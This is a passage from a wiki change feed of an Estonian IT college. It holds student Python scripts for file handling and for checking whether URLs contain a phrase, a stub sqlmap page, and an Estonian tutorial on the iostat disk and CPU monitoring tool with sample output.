except IOError: &lt;br /&gt;
	print &amp;quot;Sisendfaili ei saa avada.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
	output_file = open(sys.argv[2], &#039;w&#039;)&lt;br /&gt;
except IOError:&lt;br /&gt;
	print &amp;quot;Väljundfaili ei saa kirjutada.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
for line in input_file.readlines():&lt;br /&gt;
	print line&lt;br /&gt;
	line = line.split(&amp;quot;@&amp;quot;)[1]&lt;br /&gt;
	output_file.write(line) &lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
#  -*- coding: utf-8 -*-&lt;br /&gt;
# Autor Karl Männil&lt;br /&gt;
# Programm kontrollib kas on võimalik avada käsurealt sisestatud parameetrite nimelisi faile&lt;br /&gt;
from __future__ import print_function&lt;br /&gt;
from __future__ import unicode_literals&lt;br /&gt;
&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
# Kontrollime kas programmil on piisavalt argumente (vaja on kolme aga programm ise on ka parameeter)&lt;br /&gt;
# Vajadusel pahandame kasutajaga ning õpetame teda!&lt;br /&gt;
if len(sys.argv) != 4:&lt;br /&gt;
    print(&amp;quot;Kasuta programmi vähemalt kolme parameetriga&amp;quot;)&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
print(&amp;quot;Programm lõpetas töö&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Proovime kas saame avada faili mis sisestati esimese parameetrina (tegelikult parameeter 2), kirjutame ka staatuse&lt;br /&gt;
try:&lt;br /&gt;
    fh = open(sys.argv[1],&#039;r&#039;)&lt;br /&gt;
    print (&amp;quot;Faili nimega &amp;quot;, sys.argv[1], &amp;quot;saab avada&amp;quot;)&lt;br /&gt;
except IOError:&lt;br /&gt;
    print(&amp;quot;Sisendfaili ei saa avada&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Proovime kas saame avada faili mis sisestati teise parameetrina (tegelikult parameeter 3), kirjutame ka staatuse&lt;br /&gt;
try:&lt;br /&gt;
    fh = open(sys.argv[2],&#039;r&#039;)&lt;br /&gt;
    print (&amp;quot;Faili nimega &amp;quot;, sys.argv[2], &amp;quot;saab avada&amp;quot;)&lt;br /&gt;
except IOError:&lt;br /&gt;
    print(&amp;quot;Sisendfaili ei saa avada&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Proovime kas saame avada faili mis sisestati kolmanda parameetrina (tegelikult parameeter 4), kirjutame ka staatuse&lt;br /&gt;
try:&lt;br /&gt;
    fh = open(sys.argv[3],&#039;r&#039;)&lt;br /&gt;
    print (&amp;quot;Faili nimega &amp;quot;, sys.argv[3], &amp;quot;saab avada&amp;quot;)&lt;br /&gt;
except IOError:&lt;br /&gt;
    print(&amp;quot;Sisendfaili ei saa avada&amp;quot;)&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
from __future__ import print_function&lt;br /&gt;
from __future__ import unicode_literals&lt;br /&gt;
&lt;br /&gt;
import sys&lt;br /&gt;
import urllib2&lt;br /&gt;
import time&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if len(sys.argv) != 3:&lt;br /&gt;
    print(&amp;quot;Vale argumentide arv!&amp;quot;)&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
#ava väljundfail kirjutamiseks argument 3&lt;br /&gt;
try:&lt;br /&gt;
    fhw = open(sys.argv[2], &#039;w&#039;)&lt;br /&gt;
&lt;br /&gt;
except IOError:&lt;br /&gt;
    print(&amp;quot;Väljundfaili avamine ebaõnnestus!&amp;quot;)&lt;br /&gt;
    sys.exit(2)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
    fhr = open(sys.argv[1], &#039;r&#039;)&lt;br /&gt;
    for line in fhr.readlines():&lt;br /&gt;
        a_line = line.split(&amp;quot;,&amp;quot;)&lt;br /&gt;
        try:&lt;br /&gt;
            u = urllib2.urlopen(a_line[0])&lt;br /&gt;
        except Exception:&lt;br /&gt;
            print(a_line[0], &amp;quot;URL avamine ebaõnnestus&amp;quot;)&lt;br /&gt;
        sisu=u.read()&lt;br /&gt;
        arv=sisu.count(a_line[1].strip())&lt;br /&gt;
        if arv &amp;gt; 0:&lt;br /&gt;
            tekst = &amp;quot;URL: &amp;quot;&lt;br /&gt;
            tekst += str(a_line[0])&lt;br /&gt;
            tekst += &amp;quot; Fraas: &amp;quot;&lt;br /&gt;
            tekst += str(a_line[1].strip())&lt;br /&gt;
            tekst += &amp;quot; &amp;quot;&lt;br /&gt;
            tekst += time.strftime(&amp;quot;%Y-%m-%d %H:%M:%S&amp;quot;)&lt;br /&gt;
            tekst += &amp;quot; OK&amp;quot;&lt;br /&gt;
            tekst += &amp;quot;\n&amp;quot;&lt;br /&gt;
            # noinspection PyTypeChecker&lt;br /&gt;
            fhw.write(tekst)&lt;br /&gt;
        else:&lt;br /&gt;
            tekst=&amp;quot;URL: &amp;quot;&lt;br /&gt;
            tekst+=str(a_line[0])&lt;br /&gt;
            tekst+=&amp;quot; Fraas: &amp;quot;&lt;br /&gt;
            tekst+=str(a_line[1].strip())&lt;br /&gt;
            tekst += &amp;quot; &amp;quot;&lt;br /&gt;
            tekst += time.strftime(&amp;quot;%Y-%m-%d %H:%M:%S&amp;quot;)&lt;br /&gt;
            tekst+=&amp;quot; NOTOK&amp;quot;&lt;br /&gt;
            tekst+=&amp;quot;\n&amp;quot;&lt;br /&gt;
            fhw.write(tekst)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
except IOError:&lt;br /&gt;
    print(&amp;quot;Sisendfaili ei saanud avada&amp;quot;)&lt;br /&gt;
    sys.exit(1)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>Eprudnik</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Sqlmap&amp;diff=88411</id>
		<title>Sqlmap</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Sqlmap&amp;diff=88411"/>
		<updated>2015-05-11T09:35:58Z</updated>

		<summary type="html">&lt;p&gt;Eprudnik: Created page with &amp;quot;Elina Prudnikova 2015 A21&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Elina Prudnikova 2015 A21&lt;/div&gt;</summary>
		<author><name>Eprudnik</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Iostat&amp;diff=82576</id>
		<title>Iostat</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Iostat&amp;diff=82576"/>
		<updated>2014-11-13T19:49:30Z</updated>

		<summary type="html">&lt;p&gt;Eprudnik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
= Iostat =&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
Autor: Elina Prudnikova &lt;br /&gt;
&lt;br /&gt;
Rühm: A21&lt;br /&gt;
&lt;br /&gt;
November 2014&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
== Lühikirjeldus ==&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
Iostat&#039;i kasutatakse sisend/väljund  seadmete toimimise jälgimiseks. Näitab infot protsessori, võrgu, ketaste ja partitsioonide kohta. Iostat&#039;i raportid on abiks süsteemi sisend/väljund seadmete optimiseerimiseks. Iostat genereerib kolme tüüpi raporteid: protsessori, plokkseadmete ja võrgu kasutusest. Esimene raport genereerib andmeid alates süsteemi alglaadimisest. Iga järgnev raport hõlmab aega alates eelmisest raportist. [http://linux.die.net/man/1/iostat]&lt;br /&gt;
&lt;br /&gt;
Iostat on osa sar utiliidist, mis sisaldub sysstat paketis. [http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
===Paigaldamise lühijuhend===&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Iostat&#039;i kasutamiseks on vaja paigaldada &#039;&#039;&#039;sysstat&#039;&#039;&#039;.[http://www.thegeekstuff.com/2011/03/sar-examples/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;sudo apt-get install sysstat&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kontrolli paigaldust:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$ sar -V&lt;br /&gt;
sysstat version 10.0.0&lt;br /&gt;
(C) Sebastien Godard (sysstat  orange.fr)&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$ sar 1 3&lt;br /&gt;
Linux 2.6.18-194.el5PAE (dev-db)        03/26/2011      _i686_  (8 CPU)&lt;br /&gt;
&lt;br /&gt;
01:27:32 PM       CPU     %user     %nice   %system   %iowait    %steal     %idle&lt;br /&gt;
01:27:33 PM       all      0.00      0.00      0.00      0.00      0.00    100.00&lt;br /&gt;
01:27:34 PM       all      0.25      0.00      0.25      0.00      0.00     99.50&lt;br /&gt;
01:27:35 PM       all      0.75      0.00      0.25      0.00      0.00     99.00&lt;br /&gt;
Average:          all      0.33      0.00      0.17      0.00      0.00     99.50&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[http://www.thegeekstuff.com/2011/03/sar-examples/ Abiks paigaldamisel]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
== Süntaks ==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Käsu süntaks on kujul: [http://linux.die.net/man/1/iostat]&lt;br /&gt;
&amp;lt;pre&amp;gt;iostat [ -c ] [ -d ] [ -h ] [ -N ] [ -k | -m ] [ -t ] [ -V ] [ -x ] &lt;br /&gt;
       [ -z ] [ [ [ -T ] -g group_name ] { device [...] | ALL } ] &lt;br /&gt;
       [ -p [ device [,...] | ALL ] ] [ interval [ count ] ]&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
=== Võtmed ===&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Kasutatavad võtmed on: [http://linux.die.net/man/1/iostat]&lt;br /&gt;
&amp;lt;table style=&amp;quot;background:white;color:black;width:80%;&amp;quot; border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;5&amp;quot; cellspacing=&amp;quot;0&amp;quot; align=&amp;quot;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-c&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;Kuvab protsessori kasutuse raportit.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-d&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Kuvab seadmete kasutuse raportit.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-g group_name { device [...] | ALL }&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; Kuvab seadmete grupi statistikat. Kuvatakse andmeid iga grupis oleva seadme kohta ja lisaks seadmete grupi kohta kokku. ALL käsk määrab, et kõiki süsteemi poolt defineeritud plokkseadmeid loetakse gruppi kuuluvaks.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-h&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Muudab kuvatud mõõtühikuid kergemini loetavaks (human readable). &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-k&amp;lt;/td&amp;gt; 	&amp;lt;td&amp;gt;Määra ühikuteks kb/s.&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-m&amp;lt;/td&amp;gt; 	&amp;lt;td&amp;gt;Määra ühikuteks Mb/s.&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-N&amp;lt;/td&amp;gt; 	&amp;lt;td&amp;gt;Kuvab infot device mapper&#039;i kohta. Kasulik LVM2 jälgimiseks.&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-p [ { device [,...] | ALL } ]&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Kuvab andmeid plokkseadmete ja nende partitsioonide kohta. Kui seadme nimi on lisatud, siis näidatakse infot selle seadme ja tema partitsioonide kohta. ALL näitab kõiki süsteemi partitsioone ja plokkseadmeid. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-T&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Seda võtit peab kasutama koos -g võtmega ja määrab, et kuvatakse andmeid grupi kohta kokku, mitte üksikute seadmete jaoks. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-t&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Näita iga raporti aega. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-V&amp;lt;/td&amp;gt; 	&amp;lt;td&amp;gt;Prindi versiooni number ja tekst. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-x&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Kuva laiendatud statistikat. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-z&amp;lt;/td&amp;gt; 	&amp;lt;td&amp;gt;Ära kuva seadmeid, mis pole näidisperioodi (sample period) jooksul olnud aktiivsed.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt; &lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Protsessori ja plokkseadmete raport==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Iostat&#039;&#039;&#039; käsk ilma võtmeteta kuvab infot protsessori kasutuse kohta ja sisend/väljund infot kõikide ketaste ja kettajagude kohta, nagu allpool esitatud. [http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$ iostat&lt;br /&gt;
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db)       07/09/2011&lt;br /&gt;
&lt;br /&gt;
avg-cpu:  %user   %nice %system %iowait  %steal   %idle&lt;br /&gt;
           5.68    0.00    0.52    2.03    0.00   91.76&lt;br /&gt;
&lt;br /&gt;
Device:            tps   Blk_read/s   Blk_wrtn/s   Blk_read   Blk_wrtn&lt;br /&gt;
sda             194.72      1096.66      1598.70 2719068704 3963827344&lt;br /&gt;
sda1            178.20       773.45      1329.09 1917686794 3295354888&lt;br /&gt;
sda2             16.51       323.19       269.61  801326686  668472456&lt;br /&gt;
sdb             371.31       945.97      1073.33 2345452365 2661206408&lt;br /&gt;
sdb1            371.31       945.95      1073.33 2345396901 2661206408&lt;br /&gt;
sdc             408.03       207.05       972.42  513364213 2411023092&lt;br /&gt;
sdc1            408.03       207.03       972.42  513308749 2411023092&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Iostat&#039;&#039;&#039; võtmega &#039;&#039;&#039;-c&#039;&#039;&#039; kuvab infot ainult protsessori kasutuse kohta.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$ iostat -c&lt;br /&gt;
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db)       07/09/2011&lt;br /&gt;
&lt;br /&gt;
avg-cpu:  %user   %nice %system %iowait  %steal   %idle&lt;br /&gt;
           5.68    0.00    0.52    2.03    0.00   91.76&amp;lt;/pre&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;Iostat&#039;&#039;&#039; võtmega &#039;&#039;&#039;-d&#039;&#039;&#039; kuvab infot ainult ketaste ja kettajagude kohta.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$ iostat -d&lt;br /&gt;
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db)       07/09/2011&lt;br /&gt;
&lt;br /&gt;
Device:            tps   Blk_read/s   Blk_wrtn/s   Blk_read   Blk_wrtn&lt;br /&gt;
sda             194.71      1096.61      1598.63 2719068720 3963827704&lt;br /&gt;
sda1            178.20       773.41      1329.03 1917686810 3295355248&lt;br /&gt;
sda2             16.51       323.18       269.60  801326686  668472456&lt;br /&gt;
sdb             371.29       945.93      1073.28 2345452365 2661209192&lt;br /&gt;
sdb1            371.29       945.91      1073.28 2345396901 2661209192&lt;br /&gt;
sdc             408.01       207.04       972.38  513364213 2411024484&lt;br /&gt;
sdc1            408.01       207.02       972.38  513308749 2411024484&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Kasutatud mõõtühikud&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;p&amp;gt;Protsessori ja seadmete raportis kasutatud ühikud on esitatud järgnevas tabelis. [http://linux.die.net/man/1/iostat]&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;table style=&amp;quot;background:white;color:black;width:80%;&amp;quot; border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;5&amp;quot; cellspacing=&amp;quot;0&amp;quot; align=&amp;quot;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;%user&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kuva protsessori kasutuse protsenti ajal, kui toimus käivitamine kasutaja (programmi) tasemel. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;%nice&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kuva protsessori kasutuse protsenti ajal, kui toimus käivitamine kasutaja prioriteediga &#039;&#039;nice&#039;&#039; tasemel. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;%system&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kuva protsessori kasutuse protsenti ajal, kui toimus käivitamine süsteemi tasemel.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;%iowait&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kuva protsenti ajast mil protsessor oli tegevusetu siis, kui süsteem sai olulise sisend/väljund nõude.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;%steal&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kuva protsenti ajast mil virtuaalne protsessor oli ooteajal, sest &#039;&#039;hypervisor&#039;&#039; tegeles teise virtuaalse protsessoriga.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;%idle&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kuva protsenti ajast mil protsessor oli tegevusetu ja süsteemil polnud olulisi sisend/väljund nõudeid.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;tps&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Ülekandeid sekundis. Ülekanne on seadmele edastatud sisend/väljund soov.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Blk_read/s&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kui palju andmeid on seadmelt loetud, esitatud kujul plokkide arv sekundis.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Blk_wrtn/s&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kui palju andmeid on seadmele kirjutatud, esitatud kujul plokkide arv sekundis.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Blk_read&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Loetud plokkide koguarv.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Blk_wrtn&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kirjutatud plokkide koguarv.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Võrgu raport==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Võrgu statistika kuvamiseks saab kasutada võtit &#039;&#039;&#039;-n&#039;&#039;&#039;.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]&lt;br /&gt;
&amp;lt;pre&amp;gt;$ iostat -n&lt;br /&gt;
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db)        07/09/2011&lt;br /&gt;
&lt;br /&gt;
avg-cpu:  %user   %nice    %sys %iowait   %idle&lt;br /&gt;
           4.33    0.01    1.16    0.31   94.19&lt;br /&gt;
&lt;br /&gt;
Device:            tps   Blk_read/s   Blk_wrtn/s   Blk_read   Blk_wrtn&lt;br /&gt;
sda               2.83         0.35         5.39   29817402  457360056&lt;br /&gt;
sda1              3.32        50.18         4.57 4259963994  387641400&lt;br /&gt;
sda2              0.20         0.76         0.82   64685128   69718576&lt;br /&gt;
sdb               6.59        15.53        42.98 1318931178 3649084113&lt;br /&gt;
sdb1             11.80        15.53        42.98 1318713382 3649012985&lt;br /&gt;
&lt;br /&gt;
Device:                  rBlk_nor/s   wBlk_nor/s   rBlk_dir/s   wBlk_dir/s   rBlk_svr/s   wBlk_svr/s&lt;br /&gt;
192.168.1.4:/home/data      90.67        0.00         0.00         0.00         5.33         0.00&lt;br /&gt;
192.168.1.4:/backup         8.74         0.00         0.00         0.00         8.74         0.00&lt;br /&gt;
192.168.1.8:/media          0.02         0.00         0.00         0.00         0.01         0.00&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Kasutatud mõõtühikud&#039;&#039;&#039;&lt;br /&gt;
Võrgu statistika kohta käivad ühikud on järgnevas tabelis.[http://linux.die.net/man/1/iostat]&lt;br /&gt;
&amp;lt;table style=&amp;quot;background:white;color:black;width:80%;&amp;quot; border=&amp;quot;1&amp;quot; cellpadding=&amp;quot;5&amp;quot; cellspacing=&amp;quot;0&amp;quot; align=&amp;quot;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;rBlk_nor/s&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Programmide poolt loetud plokkide arv.&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;wBlk_nor/s&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Programmide poolt kirjutatud plokkide arv.&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;rBlk_dir/s &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Loetud plokkide arv failidest, mis avati O_DIRECT lipuga.&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;wBlk_dir/s &amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Kirjutatud plokkide arv failidesse, mis avati O_DIRECT lipuga.&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;rBlk_svr/s&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;NFS kliendi poolt serverist loetud plokkide arv.&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;wBlk_svr/s&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;NFS kliendi poolt serverisse kirjutatud plokkide arv.&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Näited==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Kindla seadme kohta info kuvamiseks saab kasutada võtit &#039;&#039;&#039;-p&#039;&#039;&#039;.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]&lt;br /&gt;
&amp;lt;pre&amp;gt;$ iostat -p sda&lt;br /&gt;
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db)       07/09/2011&lt;br /&gt;
&lt;br /&gt;
avg-cpu:  %user   %nice %system %iowait  %steal   %idle&lt;br /&gt;
           5.68    0.00    0.52    2.03    0.00   91.76&lt;br /&gt;
&lt;br /&gt;
Device:            tps   Blk_read/s   Blk_wrtn/s   Blk_read   Blk_wrtn&lt;br /&gt;
sda             194.69      1096.51      1598.48 2719069928 3963829584&lt;br /&gt;
sda2            336.38        27.17        54.00   67365064  133905080&lt;br /&gt;
sda1            821.89         0.69       243.53    1720833  603892838&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Võti &#039;&#039;&#039;-t&#039;&#039;&#039; näitab jooksvat aega.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]&lt;br /&gt;
&amp;lt;pre&amp;gt;$ iostat -t&lt;br /&gt;
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db)       07/09/2011&lt;br /&gt;
&lt;br /&gt;
Time: 08:57:52 AM&lt;br /&gt;
avg-cpu:  %user   %nice %system %iowait  %steal   %idle&lt;br /&gt;
           5.68    0.00    0.52    2.03    0.00   91.76&lt;br /&gt;
&lt;br /&gt;
Device:            tps   Blk_read/s   Blk_wrtn/s   Blk_read   Blk_wrtn&lt;br /&gt;
sda             194.69      1096.49      1598.45 2719070384 3963829704&lt;br /&gt;
sda1            178.18       773.32      1328.88 1917688474 3295357248&lt;br /&gt;
sda2             16.51       323.14       269.57  801326686  668472456&lt;br /&gt;
sdb             371.25       945.82      1073.16 2345452741 2661228872&lt;br /&gt;
sdb1            371.25       945.80      1073.16 2345397277 2661228872&lt;br /&gt;
sdc             407.97       207.02       972.27  513364233 2411030200&lt;br /&gt;
sdc1            407.97       207.00       972.27  513308769 2411030200&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Võti &#039;&#039;&#039;-x&#039;&#039;&#039; kuvab lisainfot.[http://www.thegeekstuff.com/2011/07/iostat-vmstat-mpstat-examples/]&lt;br /&gt;
&amp;lt;pre&amp;gt;$ iostat -x&lt;br /&gt;
Linux 2.6.32-100.28.5.el6.x86_64 (dev-db)       07/09/2011&lt;br /&gt;
&lt;br /&gt;
avg-cpu:  %user   %nice %system %iowait  %steal   %idle&lt;br /&gt;
           5.68    0.00    0.52    2.03    0.00   91.76&lt;br /&gt;
&lt;br /&gt;
Device:         rrqm/s   wrqm/s   r/s   w/s   rsec/s   wsec/s avgrq-sz avgqu-sz   await  svctm  %util&lt;br /&gt;
